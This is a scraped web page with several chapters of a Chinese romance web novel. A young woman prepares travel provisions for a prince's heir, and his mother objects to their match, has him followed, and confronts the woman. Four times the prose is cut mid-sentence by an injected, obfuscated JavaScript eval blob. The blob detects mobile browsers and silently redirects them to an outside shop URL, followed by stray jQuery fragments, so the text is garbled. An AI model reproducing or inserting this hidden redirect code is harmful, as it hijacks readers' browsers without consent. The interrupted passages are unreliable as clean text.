徐章询问:“此酒何处得来的?” 孙立轩把自己在彭家酒肆买酒的经过讲了一边,引得众人哄堂大笑。 “这个抽签,当真这么有意思?” “有没有意思,你去试一试便知!” 孙立轩拿出特级太白酒宴客,既有面子也有里子,雅间内所有人举杯共饮,这顿晚宴宾主尽欢,也让太白酒进入了权贵圈子的视线。 * 特级太白酒的推出大获成功,傅知乔坐在家中美滋滋的收钱。 德福和程业玄两人一直在忙着酒楼装修的事情,每隔几天才会来汇报进度,忙碌着这么久突然空闲下来傅知乔还有点不适应。 酒楼的选址已经定了下来,装修、打桌椅等事宜也在有条不紊的进行中,傅知乔这边可以暂时松口气了,而谢卓那边是一如既往的忙碌,两人只能在他下值后匆匆见上一面。 谢卓近来一直在户部和兵部忙着核查粮草和武器,陪傅知乔去彭家酒肆的时间还是特地挤出来的。 谢卓对她的事情样样关心,还为她推出特级太白酒来撑场子,她也不能当做是理所当然,为了感谢谢卓帮忙,傅知乔琢磨着给他准备点礼物。 再过几天,谢卓就要带兵和粮草去支援凉州。 凉州的地理位置靠近北疆,那边比京城里冷上数倍,谢卓必须要在天降大雪,道路不畅之前把粮草送到,不然凉州的将士们就只能吃秋季里攒下来的粮草。 行军打仗哪有不吃苦的,为了让谢卓在路上能舒服些,傅知乔想着要做些吃的东西让他带在路上吃。 崔嬷嬷一大早上就去市场买回来十来斤新鲜的河虾。 现在天气渐渐冷了,日晒时间也大大减少,傅知乔没有足够长的时间将河虾晾晒干,她只能选择烘烤的方式来处理虾。 鲜虾减掉虾须虾尾,挑出虾线后放在炭火上小火烤制。 傅知乔负责口述,食材处理全都教由厨娘处理,怕厨娘理解不到位,每个环节都是她亲自盯着的。 忙活了一整天,十斤鲜虾烤出来就只剩两三斤了。 除了干虾要自己做,干香菇、干贝都可以买到现成的,将干虾、干贝、干香菇用炭火烤出香味后全部磨成粉末状,干花椒、盐也要磨成同样粗细的粉末,然后再按照配比混合在一起。 这一步最为关键,如果比例没有掌握好,前面的步骤相当于白费了。 傅知乔拿着勺子小心翼翼调配着,一勺虾粉、一勺干贝粉、半勺香菇粉……每调匀一次她就会尝尝咸淡,确保味道没有问题。 经过少量多次的添加,五味粉的味道也稳定下来。 傅知乔让银杏吩咐厨房煮一碗白水面,她要试试这个五味粉做汤的效果。 锅中烧水,水开后下入面条,煮熟后捞出,很快,一碗简单的白水面出锅了。 什么调料都没有放,面看上去十分寡淡无味。 傅知乔舀了一大勺五味粉洒在白水面上,又浇上一勺开水,粉末遇水融化慢慢散发出香味,她用筷子把白水面搅合均匀,尝了下汤底的味道。 旁边的银杏都看呆了,她以为这个粉末跟盐一样是加在水里煮着吃的,结果就这么干撒上就能吃?她闻着香味忍不住咽着口水,问傅知乔:“姑娘这就好了?这个粉是这么撒着吃的?” “嗯,撒着吃煮着吃都行!”干虾干贝都是烤制过的,干吃也不是不可以。 五味粉相当于浓缩型的高汤粉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737503|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干虾干贝的鲜味、花椒的辛辣味、香菇的香味、盐的咸味……这几种材料混合在一起,富有层次的香气直抵鼻腔,汤汁顺着喉咙一路滑到胃里,却有种说不出的鲜美。 白水煮面加一勺五味粉就已经这么香了,要是换上鸡汤底或者骨汤底,怕是会鲜掉眉毛。 “你们也来试试味道。”银杏和崔嬷嬷依次过来尝了一口,汤一入口皆露出惊艳之色。 尤其是银杏,腮帮子鼓的像小松鼠进食一样,面汤有些烫但是却让人欲罢不能,最后一整碗汤面全进了银杏的肚子,最后她还意犹未地舔了舔唇,这一举动直接逗笑了傅知乔。 忙活了四五天,只做出了四斤半的五味粉,她自己留了一斤,剩余的三斤半全部打包给谢卓。 用一块上好的绸布做成束口袋来装五味粉,取一个大号陶罐,在罐底铺一层细碎的木炭,再垫几层布隔开,最后把束口袋放进去盖上盖子。 木炭可以达到吸水防潮的效果,这样一来,五味粉就能一直保持干燥,不用担心受潮生虫问题。 傅知乔还让厨娘熬了一罐香菇肉酱。 做五味粉时剩下了一些香菇干,刚好可以拿来做肉酱。 选一块肥瘦相间的猪肉去皮切块剁成肉末,干香菇泡水挤出水分切成小丁,倒入半锅油将猪肉和香菇熬出香味就可以调味了。 因为之前有做花椒油的经验,这次做香菇肉酱十分顺利,香菇肉酱熬了满满一大陶罐,上面有一层厚厚的红油,可以保障这罐肉酱一个月都不会坏。 除了五味粉和肉酱,还有从青州带过来的牛肉干,和五味粉还有肉酱一起打包给谢卓了。牛肉干是她之前做卤牛肉时剩下的,为了便于保存她全部都烤成肉干,这下正好派上用场。 * “此去凉州一路上日夜兼程,肯定是吃不好睡不好,我备了些吃食给你。”傅知乔把两大包东西放在桌子上,一一为谢卓介绍。 “这是五味粉,煮汤煮粥的时候可以放一勺进去,味道极其鲜美,无论煮什么食物你都可以放一勺五味粉进去,鲜香味会完美释放到汤里,凉州天气寒凉,冰天雪地里用它煮汤吃口热乎饭食才会舒服。” “要是没时间煮饭只能吃干粮的时候,就吃牛肉干。”接着她又指向另一罐:“这一罐是香菇肉酱,行军打仗三餐不定,饿的时候你就用这个肉酱配白面饼子,香辣开胃很好吃的……” 谢卓目光火热又温柔,还不等傅知说完,他长臂一揽将人搂入怀中,心中的感动之情难以言说。 母妃也仅仅是为他准备好了御寒衣物和伤药,只要她才会这么细心,一路上的吃食都为他准备好。 谢卓来傅府的时候两手空空,走的时候两手都提满了东西,王骞信在见状连忙迎上来接过谢卓手里的食盒。 王骞信凑近食盒一闻,不用说,这么香的味道肯定是出自傅姑娘之手。 他掂了掂重量,还挺沉手的,里面肯定装了很多好吃的。想到自己也能从世子爷手里蹭到一些,王骞信抱着食盒两眼放光,心里一遍遍感叹:傅姑娘实在是人美心善的绝世大好人呐! 王骞信一手抱着罐子,一手提着包袱,这两包食物的地位在他心中瞬间升到了第二位,仅排在谢卓的安危之下。 他心里对着罐子发誓:我将会用生命来守护你们到达凉州! 72. 逼婚 端亲王府里。 离谢卓出征的日子越来越近,左慕蕊的心态也越来越不稳。 除了不舍谢卓离开之外她更加担心谢卓的安危,战场上刀剑无眼保不齐小命都要丢了,她心里埋怨丈夫,为什么要让自己的儿子走武将这条路,好好入仕当个文官不行吗? 谢弛安慰她:“卓儿他在军中只是个副将,又是后方的援军,罗将军不会派他去前线的,还有王骞信在一旁保护他,不会有事的,你就放心吧!” 左慕蕊哪里听得进去,谢卓是她唯一的儿子,王府唯一的世子,万一出了什么事还了得?她跪在佛堂里,诚心祈求佛祖保佑她的儿子能平安归来。 郭素兰的拜帖就是在这个时候递上门的,她先关心了几句左慕蕊的身体情况,聊了几句八卦后,她旁敲侧击询问起谢卓的婚事:“说起来世子年纪也不小了,王妃可有中意的人家?” 提到自家儿子的婚事,左慕蕊也是一阵头痛,“我倒是想,可那孩子主意大得很,还不愿意成亲。” “慕蕊,你可听说鸿胪寺卿家的小女儿?外头都说她容貌娇美,才学兼备,还有都察院左都御史家的嫡长女,自小在江南长大,性子温软可人。” 左慕蕊算是明白了,看向郭素兰,“怎的,你今日是来说媒的?” 郭素兰捂着嘴笑了两声。 左慕蕊十分好奇,询问郭素兰为何突然提出要给谢卓做媒。 郭素兰叹了一口气,装作无奈的样子说:“王妃,这两日我听到些关于世子的风言风语,我思来想去还是觉着这事得告诉你。” 左慕蕊眉头一挑,“无事,你有话就直说吧。” 郭素兰定了定心神,缓缓吐了一口气道:“世子可有中意的女子了?” 左慕蕊眉头一皱:“素兰为何如此问?” 郭素兰回答:“前几日有人在永安寺看见世子和一个年轻的女子相谈甚欢,外头都在传王府里好事将近呢!” “不可能!”左慕蕊听到自家儿子与一女子在永安寺相会,立即否定,她是知道自家儿子的秉性的,前不久才说有了意中人,不可能这么快就有了新人。 “这种事我还能骗你不成。”郭素兰捏了捏帕子,赔笑道:“前几日我家二弟媳妇带着家中的女眷一同去永安寺上香,结果看到世子跟一个女子同坐一辆马车。我也是昨儿个听她们说起才知道有这回事,不过她们也拿不准那人究竟是不是世子,只说那个男子跟世子长得很像,这不,我马上就来告诉你了。” 左慕蕊听到这个消息,简直如遭雷击。 郭素兰没有直接说看到谢卓,而是说有一个跟他长得很像的男子,说完后她一直注意着左慕蕊的脸色。 看到左慕蕊脸上的震惊不似作假,猜她应该不知情,于是安慰道:“王妃也别太担心了,说不定是她们看错了。” 郭素兰的话让左慕蕊心里十分不安,她心里猜测着,那个女子莫不是谢卓的心上人,她不是青州人吗?难道谢卓把人带到京城来了? 左慕蕊气极了,在她看来,谢卓这种行为跟养外室没有什么区别。 但当着郭素兰的面,她也不好直接发作,只好尴尬一笑附和着,“应该是看错了,卓儿每天都在军营里训练,永安寺那个应该是相像之人。” “嗯,我也是这样想的,王妃也别怪我在你面前搬弄是非,事关世子的名声我也不敢瞒你。那日永安寺有不少人,保不齐也有别人会认错世子,王妃可要注意些。” 不用郭素兰提醒,左慕蕊也会去查的。 左慕蕊的不快郭素兰看在眼里,她把自己的手和左慕蕊的手放在了一起,淡淡一笑:“世子生得一表人材,年纪轻轻就已经立了军功,将来必是朝廷的中流砥柱,王妃也别太担心了。” 郭素兰一番吹捧,左慕蕊的脸色总算好看起来了。 郭素兰又扯了几句别的话,感叹道:“上次我们坐在一起谈心还是在闺中,一眨眼这么多年过去我们都为人母了,等我的雅丹找个如意郎君,我这一生也没有什么遗憾了。” “你家雅丹有十六了吧,差不多也到了婚嫁的年纪。”左慕蕊的注意力果然被转移。 郭素兰笑吟吟地点头,“是啊!终身大事马虎不得,我家老爷还想要多留她两年呢!我这个当娘的只想为她找一门合适的婚事,不指望她嫁什么高门大户,只期望她在夫家不必受委屈。” 郭素兰言辞恳切,左慕蕊狠狠共情到了,她赞同,“女儿家的年华最是宝贵,你一定要好好挑挑。” “可不得好好挑挑嘛,我家雅丹要是有你这么一个通情达理的婆母,我高兴都来不及。” 明显奉承的话,听在左慕蕊的的耳中很是受用,她心念一动,既然两个孩子都到了谈婚论嫁的年龄,不如把他们撮合到一起。 “若是我能有像雅丹这般贤惠懂事的儿媳,那就再好不过了。” 郭素兰端起面前的茶水,用茶盖轻轻将漂浮的茶叶抚到一旁,听到这句话她眼眸顿时一亮,连忙将手中的茶杯放下,“王妃说的是真的?” 左慕蕊也不是个傻的,郭素兰故意在她面前提自己的女儿,安的是什么心思她一清二楚。 京城里除了几个皇子之外,就属谢卓的身份最为尊贵了,郭素兰想要替女儿求一求这门亲事倒也不算什么稀罕事。 “雅丹这孩子从小我看着长大的,她来当我的儿媳我心里自然是一万个愿意的。但是素兰你也知道的,卓儿的婚事需要王爷和老王爷首肯,我一人做不得主。” 左慕蕊虽也有意于雅丹,但也没有直接答应下来,她之前有过给谢卓定亲的念头,可谢卓死活不愿点头,连相看一眼都不肯,她只好道:“我们可以让两个孩子先接触,他们若是情投意合就再好不过了。” 郭素兰是聪明人,稍加思索就明白左慕蕊的深意了。 谢卓的亲事需要老王爷和王爷的首肯没错,但只要谢卓本人同意了其他都好说。 两人相视一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742710|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一切都在不言中。 郭素兰松了一口气,端亲王谢弛对妻子体贴周到是出了名的,家风如此,想来世子也不是个花花心肠的人。尚书府的女儿嫁给王府世子,虽说从身份上来讲是她们家高攀了,但她家雅丹好歹是京里人人夸赞的大家闺秀,才情相貌放在整个京城也是排的上号的。 送走郭素兰后,左慕蕊的脸色就沉了下来,她烦恼地揉着眉心,问章嬷嬷:“世子回来了吗?” “还没呢?已经通知门房了,世子一回府就请他来雨竹轩。” 雨竹轩是左慕蕊住的院子,谢卓刚回到王府,下人就过来禀报说王妃找他。 他回房换下了铠甲,换了一身墨蓝色云纹长袍赶往雨竹轩,半路还碰到了谢怀薇。 谢怀薇的语气中带着几分幸灾乐祸,“哥哥,今天礼部尚书夫人来找母妃了,我在窗外偷听到她们说要给你和雅丹姐姐定亲呢!” 谢卓的脸色肉眼可见的黑了下去。 谢怀薇偷看了他一眼,继续问:“哥哥真的不喜欢雅丹姐姐?我听母妃说你们小时候还在一块玩过呢!” 谢卓故意板起脸:“你少管闲事。” 谢怀薇听了谢卓的训斥,撇撇嘴乖乖走到一旁,说道:“哼!母妃这回是铁了心要为你定亲,你就自求多福吧!” 谢卓的头又开始痛了。 进了雨竹轩的正厅,左慕蕊的第一句话:“你把青州那女子接到京城来了?” 谢卓:“……” 还未等他回答,左慕蕊就拿手指指向他,一副痛心疾首的模样:“你还没成亲就学别人养外室是吧?你怎么敢的?” “母妃说什么呢?儿子什么时候养外室了?” 听到谢卓否认,左慕蕊觉得丢脸至极:“你还狡辩,你在永安寺与那女子同乘一辆马车都被人看到了。” 左慕蕊爱惜家门颜面,谢卓还未成亲就养外室这件事若传了出去,外人不知要如何耻笑端亲王府,如何耻笑她这个当娘的不会教儿子! 谢卓这才搞清楚事情的缘由,母妃以为他把傅知乔接到了京城当外室,当即道:“母妃从哪里听来的风言风语?” “你就直接跟我说,在永安寺跟你同坐马车的人是不是那女子?” “是她!但不是您说的那样……” 左慕蕊气得头脑发昏,哪里还听得进去别的话,“混账!你自幼学的礼义廉耻呢?莫非全都读到狗肚子里去了?” “养外室之说简直是无稽之谈!” 左慕蕊压根不给他半点插话的机会:“你与那个女子到底是什么关系?你若真喜欢她就把她收进府里来,养在外头藏着掖着像什么话?” 难怪这段时间他老是往外跑,下值后也不在王府里,在左慕蕊看来,谢卓把已经傅知乔接来了京城,又大庭广众之下带着她出入永安寺,便自认而然的以为两人已经成事。 当务之急,是要赶紧把人接进府里,免得消息流传出去坏了王府的名声。 73. 只配当妾 左慕蕊心里认定了傅知乔是个上不了台面的女子,毕竟正经人家的女子怎么会跟男人无媒苟合,若真的让这种不安分的人进了门,怕是会把王府搅个天翻地覆。 左慕蕊把谢卓狠狠责骂了一顿,同时对傅知乔的印象更差了。 傅知乔要是知道她能脑补这么多肯定要翻个大大的白眼,别说这种事只是她自己的猜想,明明是男女双方的事情,她却第一时间把罪名推到女人头上。 啧啧!封建思想害人不浅! 半晌后,冷静下来的左慕蕊开口:“你既已经跟那女子木已成舟,就把她收进府里当个妾室吧!” 让傅知乔进王府当妾这个念头谢卓连想都没有想过,她那种骄傲的女子怎么会愿意给人做妾,在他看来,妾室的身份简直是对傅知乔侮辱。 “母妃,我是心悦知乔,但我们之间清清白白,她也不是什么乱七八糟的外室。” “既然不是外室,那你就赶紧成亲,再将她纳进府来!” 谢卓很无奈,这个问题上次他就已经被说过了,“我说过了,她是儿子想……” “不行!她若想进王府就只能做妾。”左慕蕊立即打断谢卓的话,一个商户女而已,进王府当妾都是高攀了,还妄想做世子正妻? 谢卓还想说些什么,但左慕蕊是一点都不想听了,她的脸色快速阴沉了下来:“怀砚,你是我怀胎十月生下来的孩子,如今要为了一个外面的女子忤逆我吗?” 让一个商户女当王府世子的妻子,他们王府的脸面还要不要了? 谢卓将来一定会继承端亲王的王位,未来的端亲王王妃怎么能是一个商户之女?左慕蕊越想越气,要不是自己儿子中意,商户出身的女子连进王府做妾的资格都没有! 母妃怎么就说不通呢?谢卓深吸了一口气:“母亲,我是真心喜欢她,想要娶她为妻。” 母亲,谢卓叫的是母亲,并非母妃。 左慕蕊微微一愣,谢卓已经多年没有唤她为母亲了。 谢卓是王府长子、是未来的继承人,从他出身就很受老王爷看重,老王爷一直把他带在跟前养到了七八岁,而后又把他送到外地去求学,导致身为母亲的她跟谢卓并不如一般母子那样亲近。 左慕蕊想不明白,以她儿子的身份相貌,想娶什么样的名门闺秀都可以,为何偏偏看上一个商户女? 最慕蕊脸色经过一番变换,叹气道:“怀砚,你是王府世子,将来是要继承王位的,你先将她纳进府里,待娶了正妻后再给她一个贵妾的名分,继承王位后再把她抬成侧妃,你如何?” 说完左慕蕊顿了顿,看了看谢卓的神色:“我已经给你相看好的一门婚事,是户部尚书家的大姑娘,等你从凉州归来后就去她家提亲。”同意让傅知乔进府当小妾,已经是她退一步了:“等将来你继承了王位再将她抬为侧妃,王府侧妃的身份也不算委屈了她。” 谢卓:“……” 他只想娶自己心爱的人为妻,母亲为何要百般阻止呢? 看着脸色难看的谢卓,左慕蕊深吸了口气,缓了缓声音:“怀砚,你扪心自问,端亲王府侧妃的身份当真是辱没了她吗?” 在左慕蕊看来,傅知乔不过是个乡野女子,给她一个侧妃之位她应该感到荣幸才对,许诺等谢卓娶正妻后就会给傅知乔侧妃之位,她已经做了很大的让步。 “母妃切勿自作主张!”谢卓不欲再辩,反正他想要娶的只有傅知乔。说完,他快步离开了。 * 出了雨竹轩,谢卓想着左慕蕊的话心里气闷难消,他敬爱左慕蕊,可他不是她手上的牵线木偶,他是个活生生的人。 成亲是一辈子的事,他想找个心爱之人共度余生,何错之有? 更何况,以王府今日的地位来说,他根本不适合娶一个世家大族的贵女。 陛下为了维持各方势力平衡,近些年一直在暗地里打压世族,端亲王府与礼部尚书联姻,强强联合只会加剧皇帝对王府的猜测,一个遭到皇帝忌讳的王爷又会落得什么好下场,谢卓不敢深想。 为了降低皇帝对王府的戒心,他最好的选择就是娶一个门楣并不出众的女子为妻。 商户女的身份又如何?早在他劝说傅知乔来京城开酒楼时,就已经打定主意要娶她为妻了。 母妃反对又如何?傅知乔是他想要娶的人,他有一百种方法能将人娶回家。 此次带兵去凉州就是他的机会,等他在军中站稳脚跟,就去请求柳太傅将傅知乔收为义女,谢卓心里已经打定了主意。 有了太傅义女这个身份,等祖父一点头,届时,母妃便再无反对他们的理由。 王府的荣耀他来扛,心爱的女子他也要娶! 左慕蕊并不知道老王爷的苦心谋算,她只知道近年来端亲王府的荣光不复从前,谢卓作为未来的王府继承人,他必须要肩负起恢复王府荣耀的责任。 王府世子的妻子就是未来的端亲王妃,这个头衔不是一个小小的商户女能镇得住的,若是没有足够的教养和见识,怎能当得起这个重任? 左慕蕊心中懊悔不已,是她制止的太晚了,要是她及时把苗头掐灭,谢卓也不至于走到想娶那女子这一步。 不行,那女子绝对不能留在京城! 得想个法子,把人弄走才行。 左慕蕊坐在椅子上,心头的烦闷又涌了上来,正巧这时候,谢弛带逗弄着他养的鸽子回来了,左慕蕊对着他狠狠地瞪了一眼:儿子这么不听话,你还有心在这里逗鸽子? 谢弛不明所以。 章嬷嬷过来奉茶茶,他喝了一口茶才看向左慕蕊,问:“发生了什么事?怎么用这样的眼神看我?” 左慕蕊气冲冲,把谢卓看上了外头的商户女,还想娶她进门的事情告诉了谢驰。 “随他去吧!”人不风流枉少年,这点感情上的事在谢驰看来没什么大不了的。 “荒唐!他迟迟不成亲你也随他去?男子先成家才立业,你看看怀砚的同辈们,哪一个不是已经娶妻生子了?” 见妻子在气头上,谢弛轻咳了一声也不再说话了,找了个借口出了房门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749101|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在儿子那边碰了壁,丈夫也不理解自己,折腾了一番后左慕蕊更生气了,她把目光重新放回到傅知乔身上,一切问题的根源都在她身上。 左慕蕊让章嬷嬷附耳过来,随而低声说了几句话。 章嬷嬷诧异的看了她一眼,犹豫着说:“王妃,这样成吗?” 左慕蕊管不了那么多了,亏她之前还听章嬷嬷的劝解,说什么不能不能做出棒打鸳鸯,免得母子离心,这对鸳鸯她打定了! “你带上几个靠谱的人过去盯着,有消息立刻让人传回来。” 崔嬷嬷派了府里的亲卫跟踪谢卓,她特地嘱咐了跟踪一事千万不能被世子爷发现了,世子爷武艺高强,亲卫们生怕被他发现只敢远远跟在身后。 第一天,世子爷出了王府后到军营处理军务,下午到校场上指点士兵们武艺,晚上再次回到王府,没什么特别之处。 第二天,他们把人跟丢了…… 世子爷好像察觉到什么似的,一个闪身就不见了踪影。 第三天,连续跟了世子爷三天,终于让他们探出了蛛丝马迹。 世子爷还是跟昨天往常一样,不过下值后他并没有第一时间回到王府,而是去了朱雀街不远处的小巷子里。 亲卫们不敢大意,远远地监视着谢卓的一举一动,跟在他身后的几个亲卫屏住呼吸,躲在屋檐上小心翼翼的观察着,直到看着谢卓进了一个小院子。 亲卫们暗暗记下了小院的地址,回去禀报给左慕蕊。 一辆华贵的马车停在了小巷里,深色车帘被拨开,左慕蕊下了马车。 小院的大门被敲开,门房探出头来还不等他开口。 章嬷嬷下巴微抬:“去告诉你家主人,说贵客来访。” 门房往她们身后瞥了一眼,他不认识眼前的人,但从衣着上可以看得出她们不是一般的人。 “稍等片刻。”门房刚想把门合上,后面走出来两个护卫用手抵住了大门。 护卫身高马大的,腰间还别着大刀,门房反抗不了。 “小门小户的就是没规矩。”左慕蕊还没进院子就被门房堵在了外头,她十分不悦。 左慕蕊带着五六个丫鬟浩浩荡荡进了院子,留下两个护卫守在大门处。 一阵沓沓脚步声自身后由远及近。 院子里的两个小丫鬟迎出来,看到的是一群陌生人,身前还没有门房引导,质问道:“你们是何人?” 左慕蕊更是连眼神都没给,径自走到正厅里坐下,小丫鬟见她们一副主人家的做派,在一旁急的不知道该如何是好。 左慕蕊坐在首座的椅上的,其余的丫鬟皆站在两侧,也让本来就不是很大的正厅显得有些逼仄。 傅知乔过来时看到的就是这幅场景。 原本在正厅里伺候的两个小丫鬟被带刀的护卫挡在门口进不去,她们见到傅知乔就像看到救星一般,“姑娘,那些人是自己闯进来的……” 傅知乔瞥了一眼首座上人的衣着,心里有数了:“知道了,你们在门口守着。” 74. 侧妃之位 正厅的大门是开着的,门口的动静屋里听的一清二楚。 如此清脆好听的嗓音……最先注意到傅知乔的是章嬷嬷。 只见来人穿着一件素雅的家常孺裙,显得腰肢窈窕,头上只戴了一支玉簪和两朵珠花,一头墨发如绸缎般披在身后,全身上下的装扮都透出寡淡但依旧难掩姝色。 少女肤如凝脂弹吹可破,眉目如画,朱唇不点而红,一双眸子就像是一汪泉水,清冽又勾人。 这般容貌放在京城的贵女里也是一等一的出挑,难怪向来不近女色的世子爷会动心。 只是,拥有如此的美貌却出身低微,也不知是福是祸。 傅知乔踏进正厅,饶是左慕蕊也不得不承认,此女的确是个难得一见的美人。 自家的正厅,却被旁人坐了主位,傅知乔问:“夫人因何到访?” 站在一旁的婢女对她横眉竖眼:“大胆!见到王妃还不行礼?” 王妃娘娘?傅知乔眼里翻涌着晦涩不明的情绪。 傅知乔闻言冷静的向左慕蕊行礼,双膝微弯:“民女见过王妃,王妃安好!” 她行完礼就站起了身子,态度不卑不亢。 一时间谁也没有开口说话。 见傅知乔的反应平平,左慕蕊将她从头到脚打量了两遍,那张倾城动人的脸上一丝惊慌都没有,甚至都没有太多的表情。 身上倒是有几分见识和骨气,并没有被她的身份吓得慌了神,她之前猜测傅知乔应该是个梨花带雨的柔弱女子,见了面后才发现傅知乔跟她想象的有出入。 静默片刻,最后还是左慕蕊按捺不住:“你就是傅知乔?” “不知王妃娘娘有何吩咐?”傅知乔低垂着眼眸。 早在知道谢卓的身份那一刻起,她就知道会有这么一天,所以她一直克制自己,不敢百分百的投入感情,也不敢肆无忌惮接受谢卓对她的好。 但没想到这一天来的这么快。 章嬷嬷示意两侧的侍女退出去。 左慕蕊慢条斯理的整理了一下自己袖口上的褶子,语气淡淡却带着一股嘲讽之意:“果然是好颜色好手段,不要以为勾搭上了世子就能嫁到王府里当王妃,痴心妄想也要有个度。” 傅知乔听到这里已经确定左慕蕊的来意了。 “王妃误会了……” “是不是误会并不重要。”左慕蕊打断她,声音不尖锐却自有一股不怒自威的凌厉。 “世子既然把你接你来了京城,我这个当娘的便做主纳你进府。” 傅知乔眼里划过一丝兴味,左慕蕊不知道从哪里得知了她与谢卓的关系,张嘴就是说她知心妄想,不配嫁入王府。 “敢问王妃,是谁说我要嫁进王府了?”傅知乔语气无辜,抬头直视左慕蕊:“是世子说的吗?” “是谁说的并不重要……” 傅知乔强势打断:“王妃替世子纳我为妾,世子知道此事吗?” 左慕蕊眼中极快地闪过一丝不自然。 傅知乔一直注意着左慕蕊的神色,看见她脸上一闪而过的不自然,便知道自己猜对了。 左慕蕊突然来找自己是背着谢卓的,不过想想也是,当娘的不去训诫自己的儿子反倒在她面前一顿输出,想必是在谢卓那边碰壁了,才把主意打到她身上来。 傅知乔连续几句反问让左慕蕊有些下不来台,她心里窝了火,不满傅知乔一副无所谓的模样,也很不满儿子竟然被这样的女人迷住了心窍,心里已经十分不爽了,偏偏她面上还不能表现出来。 左慕蕊唇角带笑,一脸的和气端方,说出来的话分明带着警告之意:“这不是你该问的,我现在给你两条路,一是现在就收拾行李跟我进王府,二是拿着银子离开京城。” “民女若是不选呢?” “那就休怪我狠心了。”谢卓身为金尊玉贵的世子爷,与一个商户女纠缠不清,传出去岂不是叫全京城的人笑话? 她决不允许傅知乔留在京城败坏谢卓的名声。 随着左慕蕊道清楚来意,傅知乔胸腔的那一口浊气才终于得以缓解。 堂堂端亲王王妃,位高权重,她若决心要让自己给谢卓当妾室,用强权来压人傅知乔也无可奈何。 这里是京城,在人家眼皮底下,这位王妃娘娘动动手指都可以弄死她,俗话说民不与官斗,说到底她只是个没权没势的商人罢了,又怎么斗得过高高在上的王妃? 傅知乔心里琢磨着,比起自己的死活,左慕蕊应该更加在乎谢卓的想法,她可以不顾及自己,可她不能不顾及谢卓。 她很快就镇定心神,嘴角勾起了一抹若有似无的微笑,“世子知道王妃的安排吗?” 左慕蕊像是听到什么笑话一般,看向傅知乔的眼神里满是厌恶,讥讽道:“就凭你?也配让我们母子离心?” “民女配不配,能不能做到,王妃心里应当清楚。”傅知乔心里跟明镜似的,若是左慕蕊说得动谢卓,她今天根本不必来警告自己。 对方明显来者不善,就算自己伏低做小也没有用。 面对左慕蕊的施舍之态,傅知乔心中不快。若换成是旁人,她早就把人扫地出门了,就是念及到左慕蕊身份不一般,傅知乔才收敛着情绪跟她周旋。 可对方的语气实在是算不上好,傅知乔的态度也不由得冷了下来,她看着左慕蕊:“既然王妃能知晓我的住处,为何不多出去打听打听,到底是谁缠着谁?” “你!”左慕蕊千算万算没算到这种回答,合着按她的意思,自己的儿子才是主动的那一个?想到谢卓曾经说过“非她不娶”这种话,左慕蕊心里有数,这个商户女子恐怕真的没有说谎。 见左慕蕊实在气极,傅知乔稍稍眯了下眼,总不能将人得罪彻底,她做出谦虚的姿态,柔和了声音说道:“像世子这样年少有为、丰神俊朗的男子,很难有女子不动心,民女确实喜欢世子,可我们之间一直恪守礼仪,不曾有过半分逾越。” “王妃的意思民女很清楚。”她话锋一转:“不过,离开京城这个要求请恕民女无法做到,民女只能跟王妃保证,从今天起不会主动去找世子,不会阻挡世子成亲,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758595|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会对世子纠缠不休。” 言下之意就是,我不会主动去找他,要是他找上门来就不是我可以控制的了。 左慕蕊被傅知乔这副无赖的模样气笑了,“不愧是商户出身,嘴皮子倒是利索。” 章嬷嬷在一旁看得分明,这个傅姑娘是个有主意的人,面对王妃的气势也不落下风。同为女人,从她的角度来看,她是欣赏傅知乔的,只不过像傅姑娘这样的性格,进了王府恐怕王妃娘娘也压制不住。 思及此处,章嬷嬷上前给左慕蕊换了一盏茶水,用眼神示意左慕蕊要冷静些。 左慕蕊轻吁出一口气,她确实不应该失了仪态,这种刻薄的话不应该从她嘴里说出来。 左慕蕊凝眉深深看了一眼傅知乔:“你可想好了?你现在跟我进府,往后等世子袭爵后你就能当上侧妃。” 侧妃可是能上皇家玉蝶的。 左慕蕊抛出侧妃的名头来引诱傅知乔,荣华富贵就在眼前、跨越阶级成为皇家贵族的机会就在眼前,在她看来,傅知乔实在没有理由拒绝。 “侧妃。”傅知乔嘴里咀嚼着这两个字。 